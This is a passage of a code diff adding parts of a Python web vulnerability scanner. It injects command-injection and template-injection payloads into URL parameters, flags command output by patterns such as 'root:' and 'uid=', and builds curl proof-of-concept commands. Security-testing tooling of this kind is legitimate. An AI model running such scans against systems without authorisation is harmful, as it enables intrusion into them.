+                                poc=self._generate_poc(url, method, test_params)
+                            )
+                            self.vulnerabilities.append(vuln)
+                            console.print(
+                                f"  [red]✗ SQLi[/red] found in [cyan]{url}[/cyan] "
+                                f"param: [yellow]{param_name}[/yellow]"
+                            )
+                            logger.warning(
+                                "vulnscan.sqli.found",
+                                url=url,
+                                param=param_name,
+                                payload=payload[:50]
+                            )
+                            break
+                        # Boolean-based detection
+                        if baseline and self._is_boolean_sqli(baseline, response):
+                            vuln = Vulnerability(
+                                type='sqli',
+                                severity='high',
+                                url=url,
+                                parameter=param_name,
+                                payload=payload,
+                                method=method,
+                                evidence=f"Response differs from baseline",
+                                poc=self._generate_poc(url, method, test_params)
+                            )
+                            self.vulnerabilities.append(vuln)
+                            break
+                    except Exception as e:
+                        logger.debug("vulnscan.sqli.error", error=str(e))
+    async def _test_cmdi(
+        self,
+        client: httpx.AsyncClient,
+        semaphore: asyncio.Semaphore,
+        target: Dict[str, Any]
+    ):
+        """Testa Command Injection."""
+        async with semaphore:
+            url = target['url']
+            method = target.get('method', 'GET')
+            params = target.get('params', {})
+            for param_name in params.keys():
+                for payload in self.CMD_PAYLOADS:
+                    try:
+                        test_params = params.copy()
+                        test_params[param_name] = payload
+                        if method == 'GET':
+                            response = await client.get(url, params=test_params)
+                        else:
+                            response = await client.post(url, data=test_params)
+                        # Verifica output de comandos
+                        if self._has_cmd_output(response.text):
+                            vuln = Vulnerability(
+                                type='cmdi',
+                                severity='critical',
+                                url=url,
+                                parameter=param_name,
+                                payload=payload,
+                                method=method,
+                                evidence=self._extract_evidence(response.text, 'root|bin|usr|var'),
+                                poc=self._generate_poc(url, method, test_params)
+                            )
+                            self.vulnerabilities.append(vuln)
+                            console.print(
+                                f"  [red]✗ Command Injection[/red] found in [cyan]{url}[/cyan] "
+                                f"param: [yellow]{param_name}[/yellow]"
+                            )
+                            break
+                    except Exception as e:
+                        logger.debug("vulnscan.cmdi.error", error=str(e))
+    async def _test_ssti(
+        self,
+        client: httpx.AsyncClient,
+        semaphore: asyncio.Semaphore,
+        target: Dict[str, Any]
+    ):
+        """Testa Server-Side Template Injection."""
+        async with semaphore:
+            url = target['url']
+            method = target.get('method', 'GET')
+            params = target.get('params', {})
+            for param_name in params.keys():
+                for payload in self.TEMPLATE_PAYLOADS:
+                    try:
+                        test_params = params.copy()
+                        test_params[param_name] = payload
+                        if method == 'GET':
+                            response = await client.get(url, params=test_params)
+                        else:
+                            response = await client.post(url, data=test_params)
+                        # Verifica se 7*7=49
+                        if '49' in response.text and payload in response.text:
+                            vuln = Vulnerability(
+                                type='ssti',
+                                severity='critical',
+                                url=url,
+                                parameter=param_name,
+                                payload=payload,
+                                method=method,
+                                evidence='Template expression evaluated',
+                                poc=self._generate_poc(url, method, test_params)
+                            )
+                            self.vulnerabilities.append(vuln)
+                            console.print(
+                                f"  [red]✗ SSTI[/red] found in [cyan]{url}[/cyan] "
+                                f"param: [yellow]{param_name}[/yellow]"
+                            )
+                            break
+                    except Exception as e:
+                        logger.debug("vulnscan.ssti.error", error=str(e))
+    async def _get_baseline(
+        self,
+        client: httpx.AsyncClient,
+        url: str,
+        method: str,
+        params: dict
+    ) -> Optional[httpx.Response]:
+        """Get baseline response."""
+        try:
+            if method == 'GET':
+                return await client.get(url, params=params)
+            else:
+                return await client.post(url, data=params)
+        except:
+            return None
+    def _is_xss_exploitable(self, html: str, payload: str) -> bool:
+        """Verifica se XSS é explorável (não escaped)."""
+        # Simplificado - verifica se payload aparece sem encoding
+        escaped_chars = ['&lt;', '&gt;', '&quot;', '&#', '\\"', "\\'"]
+        for char in escaped_chars:
+            if char in html:
+                # Pode estar encoded
+                return False
+        return True
+    def _has_sql_error(self, text: str) -> bool:
+        """Verifica se há erro SQL."""
+        for pattern in self.SQLI_ERRORS:
+            if re.search(pattern, text, re.IGNORECASE):
+                return True
+        return False
+    def _extract_sql_error(self, text: str) -> str:
+        """Extrai mensagem de erro SQL."""
+        for pattern in self.SQLI_ERRORS:
+            match = re.search(f"({pattern}[^\n]*)", text, re.IGNORECASE)
+            if match:
+                return match.group(1)[:200]
+        return "SQL error detected"
+    def _is_boolean_sqli(self, baseline: httpx.Response, response: httpx.Response) -> bool:
+        """Detecta Boolean-based SQLi."""
+        # Compara tamanhos de resposta
+        size_diff = abs(len(baseline.content) - len(response.content))
+        return size_diff > 100  # Diferença significativa
+    def _has_cmd_output(self, text: str) -> bool:
+        """Verifica se há output de comando."""
+        cmd_patterns = [r'root:', r'/bin/', r'/usr/', r'/var/', r'uid=', r'gid=']
+        for pattern in cmd_patterns:
+            if re.search(pattern, text, re.IGNORECASE):
+                return True
+        return False
+    def _extract_evidence(self, text: str, pattern: str) -> str:
+        """Extrai evidência."""
+        match = re.search(f"(.{{0,50}}{pattern}.{{0,50}})", text, re.IGNORECASE | re.DOTALL)
+        if match:
+            return match.group(1).strip()[:200]
+        return pattern
+    def _generate_poc(self, url: str, method: str, params: dict) -> str:
+        """Gera Proof of Concept."""
+        if method == 'GET':
+            query = urlencode(params)
+            return f"curl '{url}?{query}'"
+        else:
+            data = urlencode(params)
+            return f"curl -X POST '{url}' -d '{data}'"
+__all__ = ["VulnScanner", "Vulnerability"]